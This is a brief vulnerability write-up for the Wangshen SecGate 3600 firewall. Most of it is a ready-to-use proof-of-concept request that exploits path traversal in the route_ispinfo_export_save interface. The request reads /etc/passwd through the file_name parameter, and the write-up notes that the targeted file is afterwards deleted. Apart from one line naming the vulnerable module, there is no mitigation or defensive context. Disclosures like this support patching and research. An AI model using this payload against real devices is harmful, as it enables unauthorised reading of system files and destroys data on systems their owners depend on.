# Wangshen SecGate 3600 firewall route_ispinfo_export_save interface arbitrary file reading

**Company**：Wangshen Information Technology （Beijing） Co., Ltd.

**official website: https://www.legendsec.com/**

**product: https://www.legendsec.com/newsec.php?up=2&cid=415**

**Affected version:**

**Vulnerability POC**

```
https://IP/?
g=route_ispinfo_export_save&file_name=../../../../../../../../etc/pa
sswd
```

> modules/route/ispinfo.mds

The file_name parameter is user-controllable, the fread function causes a file reading vulnerability, and unlink will eventually delete the file
